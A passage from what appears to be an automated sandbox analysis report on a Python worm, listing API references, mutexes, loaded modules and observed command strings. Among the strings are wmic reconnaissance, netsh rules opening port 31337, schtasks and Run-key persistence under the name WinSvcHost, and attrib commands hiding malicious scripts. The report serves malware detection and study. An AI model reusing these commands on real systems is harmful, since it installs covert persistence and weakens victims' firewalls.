"00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputCharacterW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "FillConsoleOutputAttribute"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CreateConsoleScreenBuffer"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleActiveScreenBuffer"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RtlGUIDFromString"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")52:T88e,Process python.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8020:304:WilStaging_02" Process python.exe created mutex with name "SM0:8020:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4724:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:4724:304:WilStaging_02" Process python.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7600:304:WilStaging_02" Process python.exe created mutex with name "SM0:7600:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1148:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:1148:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3264:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:3264:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1520:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1520:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1520:120:WilError_03" Process WMIC.exe created mutex with name "SM0:1520:304:WilStaging_02" Process WMIC.exe created mutex with name "Local\SM0:1520:304:WilStaging_02" Process WMIC.exe created mutex with name "SM0:1520:120:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6896:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:6896:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1508:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1508:304:WilStaging_02" Process WMIC.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1508:120:WilError_03" Process WMIC.exe created mutex with name "Local\SM0:1508:304:WilStaging_02" Process WMIC.exe created mutex with name "SM0:1508:304:WilStaging_02" Process WMIC.exe created mutex with name "SM0:1508:120:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2820:304:WilStaging_02"53:Ta81,"reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinSvcHost /t REG_SZ /d "'C:\Users\vQTkgwk\AppData\Local\Programs\Python\Python311\pythonw.exe' 'C:\Users\vQTkgwk\AppData\Roaming\Microsoft\Windows\Caches\svc.py'" /f" in Source: 00000000-00001164.00000000.183356.04DD0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00001164.00000000.183356.04FB0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001164.00000000.183356.72670000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00001164.00000000.183356.72670000.00000002.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{674B6698-E" in Source: 00000000-00001508.00000000.180396.C812F000.00000004.mdmp "1-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{6y" in Source: 00000000-00001508.00000000.180396.C812F000.00000004.mdmp "SOFTWARE\Cla" in Source: 00000000-00001520.00000000.180024.1746D000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{78103FB7-AED7-4066-8BCD-k" in Source: 00000000-00001520.00000000.180024.1746D000.00000004.mdmp "SOFTWARE\Microsoft\Wbem\CIMOM" in Source: 00000000-00001520.00000000.180024.629B6000.00000002.mdmp "y\Machine\Software\Classes\AppID\WMIC.exe" in Source: 00000000-00001520.00000000.180024.6A490000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\" in Source: 00000000-00002060.00000000.180755.95AD0000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00002060.00000000.180755.95AD0000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\" in Source: 00000000-00004364.00000000.182186.BAE50000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00005936.00000000.182903.1FF40000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\" in Source: 00000000-00005936.00000000.182903.1FF40000.00000004.mdmp "SOFTWARE\Microsoft\NetSh" in Source: 00000000-00008852.00000000.181116.55D2C000.00000002.mdmp "System\CurrentControlSet\Services\RemoteAccess\Parameters" in Source: 00000000-00008852.00000000.181116.55D2C000.00000002.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\" in Source: 00000000-00008852.00000000.181116.65F30000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00008852.00000000.181116.65F30000.00000004.mdmp54:T24cf,"python.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffed9610000 "python.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffefcbc0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\PYTHON3" at base 2159d5e0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_HASHLIB.PYD" at base 7ffee4b90000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_SOCKET.PYD" at base 7ffee3ed0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\SELECT.PYD" at base 7ffee7450000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_BZ2.PYD" at base 7ffee38e0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_LZMA.PYD" at base 7ffee3760000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_CTYPES.PYD" at base 7ffee2770000 "python.exe" loaded module "KERNEL32" at base 7ffefdff0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_SSL.PYD" at base 7ffee2740000 "python.exe" loaded module "NTDLL.DLL" at base 7ffeff190000 "python.exe" loaded module "SHELL32" at base 7ffefd770000 "python.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffef9d50000 "python.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffefa6b0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\LIB\SITE-PACKAGES\CRYPTOGRAPHY\HAZMAT\BINDINGS\_RUST.PYD" at base 7ffed4d40000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\LIB\SITE-PACKAGES\_CFFI_BACKEND.CP311-WIN_AMD64.PYD" at base 7ffeef040000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\LIB\SITE-PACKAGES\YAML\_YAML.CP311-WIN_AMD64.PYD" at base 7ffee8fc0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_ASYNCIO.PYD" at base 7ffef3470000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_OVERLAPPED.PYD" at base 7ffeef030000 "python.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffefbed0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\LIB\SITE-PACKAGES\BCRYPT\_BCRYPT.PYD" at base 7ffee8ed0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\LIB\SITE-PACKAGES\NACL\_SODIUM.PYD" at base 7ffee8db0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffefb7f0000 "python.exe" loaded module "KERNEL32.DLL" at base 7ffefdff0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\UNICODEDATA.PYD" at base 7ffed9030000 "python.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffef3020000 "python.exe" loaded module "RPCRT4.DLL" at base 7ffefe4c0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffef37a0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffed9610000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\PYTHON3" at base 23036a00000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\UNICODEDATA.PYD" at base 7ffed8cb0000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_DECIMAL.PYD" at base 7ffee2520000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_QUEUE.PYD" at base 7ffee61c0000 "python.exe" loaded module "OLE32" at base 7ffefe370000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\_UUID.PYD" at base 7ffee5150000 "python.exe" loaded module "CRYPT32.DLL" at base 7ffefc940000 "python.exe" loaded module "%LOCALAPPDATA%\PROGRAMS\PYTHON\PYTHON311\DLLS\PYEXPAT.PYD" at base 7ffee21d0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffefdff0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffeff190000 "WMIC.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffed9610000 "WMIC.exe" loaded module "RPCRT4.DLL" at base 7ffefe4c0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffefccb0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffeef490000 "WMIC.exe" loaded module "SSPICLI.DLL" at base 7ffefc700000 "WMIC.exe" loaded module "KERNEL32.DLL" at base 7ffefdff0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 7ffef5540000 "WMIC.exe" loaded module "USER32.DLL" at base 7ffefe1c0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffefccb0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffefa1c0000 "WMIC.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ffee8fa0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffefcbc0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffeee1b0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffefccb0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffefccb0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffeee1d0000 "WMIC.exe" loaded module "AMSI.DLL" at base 7ffeedae0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffefccb0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffefccb0000 "WMIC.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffefccb0000 "WMIC.exe" loaded module "KERNEL32" at base 7ffefdff0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\YBS5TES6.DLL" at base 7ffef0780000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffeedf50000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\XML\WMI2XML.DLL" at base 7ffee8d90000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffed90b0000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffed9610000 "netsh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 7ffefa6b0000 "netsh.exe" loaded module "IFMON.DLL" at base 7ffee8fb0000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ffed90c0000 "netsh.exe" loaded module "MSVCRT.DLL" at base 7ffefeea0000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7ffee2500000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ffed8eb0000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ffee8fa0000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ffee8d90000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ffee26a0000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ffee8d60000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7ffee21d0000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7ffedf180000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ffee0670000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7ffede140000 "netsh.exe" loaded module "RPCRT4.DLL" at base 7ffefe4c0000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7ffed8570000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7ffed9c20000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ffedfbb0000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ffede440000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ffee61c0000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7ffed7d30000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ffee5150000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ffedc2d0000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7ffed7cc0000 "netsh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffefeb40000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffefa1c0000 "netsh.exe" loaded module "WCMAPI.DLL" at base 7ffee6860000 "netsh.exe" loaded module "USERENV.DLL" at base 7ffefc6d0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\SPPC.DLL" at base 7ffefb2f0000 "netsh.exe" loaded module "KERNEL32.DLL" at base 7ffefdff0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffefcbc0000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7ffed8cd0000 "netsh.exe" loaded module "OLEAUT32.DLL" at base 7ffefe9c0000 "netsh.exe" loaded module "IFMON.DLL" at base 7ffef5cb0000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ffef5b80000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ffed8f40000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ffef5ca0000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ffee8fa0000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ffee8d70000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ffef5b70000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ffee26a0000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ffee0040000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ffedfbb0000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ffee8d60000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7ffed8d10000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ffee61c0000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ffede440000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7ffed7d20000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7ffedc2d0000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffed9610000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ffefdff0000 "WMIC.exe" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL" at base 7ffef5ca0000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\XML\WMI2XML.DLL" at base 7ffef5c10000 "WMIC.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ffef5b7000055:T62c,"WMIC.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Free Threaded XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A06-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WMIC.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WMIC.exe" touched "Microsoft WBEM WMI Object Factory" (Path: "HKCU\CLSID\{8D1C559D-84F0-4BB3-A7D5-56A7435A9BA6}\TREATAS") "WMIC.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "WMIC.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WMIC.exe" touched "WbemQuery" (Path: "HKCU\CLSID\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\TREATAS") "WMIC.exe" touched "XSL Template 6.0" (Path: "HKCU\CLSID\{88D96A08-F192-11D4-A65F-0040963251E5}\TREATAS") "WMIC.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WMIC.exe" touched "Component Categories Manager" (Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS")56:T1011,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00008020-00000BC1-1492587766] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "ver"" [Source: 00000000-00008020-00000C47-6118297544] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "wmic computersystem get model"" [Source: 00000000-00008020-00000C47-145073889786] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "wmic bios get serialnumber"" [Source: 00000000-00008020-00000C47-158587406507] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 py" >nul 2>&1"" [Source: 00000000-00008020-00000C47-172459673526] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 tcp" >nul 2>&1"" [Source: 00000000-00008020-00000C47-185894954016] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall delete rule name="k9 udp" >nul 2>&1"" [Source: 00000000-00008020-00000C47-199443495656] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 py" dir=in action=allow program="%USERPROFILE%\App" [Source: 00000000-00008020-00000C47-212762098811] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 tcp" dir=in action=allow protocol=TCP localport=31337" [Source: 00000000-00008020-00000C47-226053611659], Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 udp" dir=in action=allow protocol=UDP localport=31337" [Source: 00000000-00008020-00000C47-239574252073] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "netsh advfirewall firewall add rule name="k9 out" dir=out action=allow program="%USERPROFILE%\A" [Source: 00000000-00008020-00000C47-253056943719] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "schtasks /create /tn WinSvcHost /tr "'%LOCALAPPDATA%\Programs\Python\Python311\pyt" [Source: 00000000-00008020-00000C47-268526170344] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinSvcHost /t REG_SZ /d "'C:\Users\v" [Source: 00000000-00008020-00000C47-270200189349] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "C:\Wurm.py""" [Source: 00000000-00008020-00000C47-283504381567] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%APPDATA%\Microsoft\Windows\Caches\svc.py""" [Source: 00000000-00008020-00000C47-284981928501] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%TEMP%\.k9_68be.py""" [Source: 00000000-00008020-00000C47-286464069495] Observed system executable string:"%WINDIR%\system32\cmd.exe /c "attrib +R +H +S "%APPDATA%\svc_back.py""" [Source: 00000000-00008020-00000C47-288332988531] Observed system executable string:"%WINDIR%\System32\Wbem\WMIC.exe" [Source: 00000000-00003264-00000C47-795291797] Observed system executable string:"%WINDIR%\System32\wbem\WMIC.exe" [Source: 00000000-00003264-00000BC0-1551027205] Observed system executable string:"%WINDIR%\system32\netsh.exe" [Source: 00000000-00002820-00000C47-883583231] Observed system executable string:"%WINDIR%\System32\netsh.exe" [Source: 00000000-00002820-00000BC0-1562448308] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00005560-00000C47-845816349] Observed system executable string:"%WINDIR%\System32\schtasks.exe" [Source: 00000000-00005560-00000BC0-1602446803] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00006928-00000C47-706921598] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00006928-00000BC0-1603095962] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00006992-00000C47-827491258] Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 00000000-00006992-00000BC0-1608690764]57:T570,Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: 